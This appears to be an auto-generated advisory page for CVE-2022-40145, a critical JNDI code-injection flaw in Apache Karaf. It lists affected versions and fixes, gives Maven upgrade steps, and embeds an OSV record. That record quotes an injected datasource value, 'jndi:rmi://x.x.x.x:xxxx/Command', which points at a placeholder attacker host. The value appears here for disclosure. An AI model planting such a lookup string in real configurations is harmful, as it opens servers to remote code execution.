CVE-2022-40145: Apache karaf Apache Karaf Vulnerable To Potential Vulnerability
CRITICALCVE-2022-40145 is a CRITICAL (CVSS 9.8) apache karaf vulnerable to potential vulnerability (CWE-20: Improper Input Validation) affecting Apache karaf libraries in the Maven ecosystem. The issue involves apache karaf vulnerable to potential code injection. Remediation is available by upgrading affected packages to version 4.3.8, 4.4.2.
CVE-2022-40145 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2022-40145
To remediate this vulnerability, upgrade all affected Apache karaf dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.apache.karaf</groupId>
<artifactId>apache-karaf</artifactId>
<version>4.3.8</version>
</dependency>
<dependency>
<groupId>org.apache.karaf</groupId>
<artifactId>apache-karaf</artifactId>
<version>4.4.2</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.apache.karaf
How to Check if You Are Affected
To determine whether your Java application is affected by CVE-2022-40145, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.apache.karaf
Analyze the terminal output to locate any version of Apache karaf in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.8), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.apache.karaf command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In Apache karaf, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2022-40145 Affected Apache karaf Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.apache.karaf:apache-karaf
|
Maven |
< 4.3.8
|
4.3.8
|
|
org.apache.karaf:apache-karaf
|
Maven |
≥ 4.4.0
< 4.4.2
|
4.4.2
|
References
Frequently Asked Questions
What is CVE-2022-40145?
Which Apache karaf versions are affected?
What version fixes CVE-2022-40145?
Is apache-karaf affected?
What is the CVSS score of CVE-2022-40145?
What CWE is associated with CVE-2022-40145?
How can I check Maven dependencies for CVE-2022-40145?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c2p4-8mvv-rwmv",
"modified" : "2025-04-15T18:44:44Z",
"published" : "2022-12-21T18:30:22Z",
"aliases" : [ "CVE-2022-40145" ],
"summary" : "Apache Karaf vulnerable to potential code injection",
"details" : "This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.karaf:apache-karaf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.3.8"
} ]
} ]
}, {
"package" : {
"ecosystem" : "Maven",
"name" : "org.apache.karaf:apache-karaf"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.4.0"
}, {
"fixed" : "4.4.2"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-40145"
}, {
"type" : "WEB",
"url" : "https://github.com/apache/karaf/pull/1632"
}, {
"type" : "WEB",
"url" : "https://gitbox.apache.org/repos/asf?p=karaf.git;h=2a933445d1"
}, {
"type" : "WEB",
"url" : "https://gitbox.apache.org/repos/asf?p=karaf.git;h=3819f48341"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apache/karaf"
}, {
"type" : "WEB",
"url" : "https://issues.apache.org/jira/browse/KARAF-7568"
}, {
"type" : "WEB",
"url" : "https://karaf.apache.org/security/cve-2022-40145.txt"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-74" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2022-12-21T18:49:57Z",
"nvd_published_at" : "2022-12-21T16:15:00Z"
}
}